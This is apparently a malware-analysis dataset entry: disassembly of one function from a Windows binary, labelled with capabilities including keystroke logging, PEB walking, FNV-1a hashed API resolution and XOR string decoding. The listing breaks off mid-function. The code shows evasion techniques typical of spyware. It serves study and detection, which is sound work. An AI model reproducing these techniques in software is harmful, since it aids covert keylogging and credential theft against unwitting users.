Function at 0x1400145a0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5830]
mov eax, 0x5930
call fcn.140081e30
sub rsp, rax
movaps xmmword [rsp + 0x5920], xmm6
movaps xmmword [rsp + 0x5910], xmm7
movaps xmmword [rsp + 0x5900], xmm8
mov rax, qword [0x1400ba180]
xor rax, rsp
mov qword [rbp + 0x57f0], rax
mov ecx, 0xfffffff5
mov r14d, 5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r14w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14000ffc0]
lea rcx, [rbp + 0x168]
call fcn.1400015c0
nop
mov rcx, rax
call fcn.1400097b0
nop
cmp dword [rbp + 0x170], 0
jne 0x14001d53d
mov byte [rsp + 0x50], reloc.WS2_32.dll_gethostname
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400146d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400146d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400146d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400146b0
cmp r8d, 0x9a9264ad
je 0x1400146db
test r9d, r9d
jne 0x140014690
mov rax, qword [rax]
jmp 0x140014660
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call rdx
lea rcx, [0x1400baa00]
call fcn.14002a8e0
cmp byte [0x1400bac10], 0
jne 0x140014c8a
movups xmm0, xmmword [0x140086490]
movups xmmword [rbp + 0x48], xmm0
mov eax, dword [0x1400864a0]
mov dword [rbp + 0x58], eax
movzx eax, byte [0x1400864a4]
mov byte [rbp + 0x5c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400147c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400147c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400147c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400147a0
cmp r8d, 0xe76fb4aa
je 0x1400147cb
test r9d, r9d
jne 0x140014780
mov rax, qword [rax]
jmp 0x140014750
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r15d, r15d
mov r8d, r15d
lea r13d, [r15 + 0x1f]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14001494b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014840
cmp r8d, 0x15
jge 0x140014995
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140014960
lea rcx, [rbp + 0x48]
call r11
movups xmm0, xmmword [str.zUNPY]
movups xmmword [rbp + 0xe8], xmm0
movsd xmm0, qword [0x1400864b8]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x1400864c0]
mov dword [rbp + 0x100], eax
cmp byte [0x1400864c3], r15b
je 0x140014b75
cmp ebx, 2
jl 0x140014b2d
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xec]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x18
jl 0x140014a20
cmp eax, 0x1c
jge 0x140014b75
movsxd rax, r15d
lea r8, [rbp + 0xe8]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r15b
xor byte [r8], cl
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x1c
jl 0x140014b40
lea rdx, [rbp + 0xe8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
lea rdx, [0x140002c10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014c26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014c26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014c21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014c00
cmp r8d, 0x2fa62ca8
je 0x140014c2b
test r9d, r9d
jne 0x140014be0
mov rax, qword [rax]
jmp 0x140014bb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x7d0
call rax
xor eax, eax
mov rcx, qword [rbp + 0x57f0]
xor rcx, rsp
call fcn.140081e90
lea r11, [rsp + 0x5930]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x1400baa00]
call fcn.1400274f0
lea rcx, [0x1400baa00]
call fcn.1400274f0
xor r15d, r15d
lea r13d, [r15 + 0x1f]
mov r12d, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x1400151b6
movups xmm0, xmmword [0x1400864c8]
movups xmmword [rbp + 0x30], xmm0
mov eax, dword [0x1400864d8]
mov dword [rbp + 0x40], eax
movzx eax, byte [0x1400864dc]
mov byte [rbp + 0x44], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014d66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014d66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014d61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014d40
cmp r8d, 0xe76fb4aa
je 0x140014d6b
test r9d, r9d
jne 0x140014d20
mov rax, qword [rax]
jmp 0x140014cf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140014edb
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014dd0
cmp r8d, 0x15
jge 0x140014f25
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140014ef0
lea rcx, [rbp + 0x30]
call r11
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x1400864e0]
movups xmmword [rbp + 0xb0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400150e5
cmp r12d, 2
jl 0x1400150a5
movdqa xmm5, xmmword [0x1400869c0]
mov edx, r15d
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140014fa0
jmp 0x1400150e5
lea r9, [rbp + 0xb0]
mov r8d, r15d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400150b0
lea rdx, [rbp + 0xb0]
mov rcx, r10
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015196
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015196
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015191
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015170
cmp r8d, 0xcded1a85
je 0x14001519b
test r9d, r9d
jne 0x140015150
mov rax, qword [rax]
jmp 0x140015120
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
lea rcx, [0x1400baa00]
call fcn.140026830
mov eax, dword [0x1400864f0]
mov dword [rsp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015251
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015230
cmp r8d, 0x491e0a9c
je 0x14001525b
test r9d, r9d
jne 0x140015210
mov rax, qword [rax]
jmp 0x1400151e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x140015309
movdqa xmm3, xmmword [0x1400869c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140086cd0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140086cd0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400869e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140086ad0]
movd xmm0, dword [rsp + 0x70]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x140015355
lea r9, [rsp + 0x70]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140015320
lea rcx, [rsp + 0x70]
call r11
movups xmm0, xmmword [0x1400864f8]
movups xmmword [rbp + 0x18], xmm0
mov eax, dword [0x140086508]
mov dword [rbp + 0x28], eax
movzx eax, byte [0x14008650c]
mov byte [rbp + 0x2c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015406
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015406
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015401
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400153e0
cmp r8d, 0xe76fb4aa
je 0x14001540b
test r9d, r9d
jne 0x1400153c0
mov rax, qword [rax]
jmp 0x140015390
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14001557b
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015470
cmp r8d, 0x15
jge 0x1400155c5
movsxd rax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140015590
lea rcx, [rbp + 0x18]
call r11
mov eax, dword [0x140086520]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140086524]
mov word [rbp - 0x54], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmm0, xmmword [0x140086510]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x52], al
movups xmmword [rbp - 0x68], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14001574c
movdqa xmm5, xmmword [0x1400869c0]
movdqa xmm4, xmmword [0x140086cd0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400869e0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140086ad0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140086a10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015641
cmp r8d, 0x17
jge 0x140015795
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
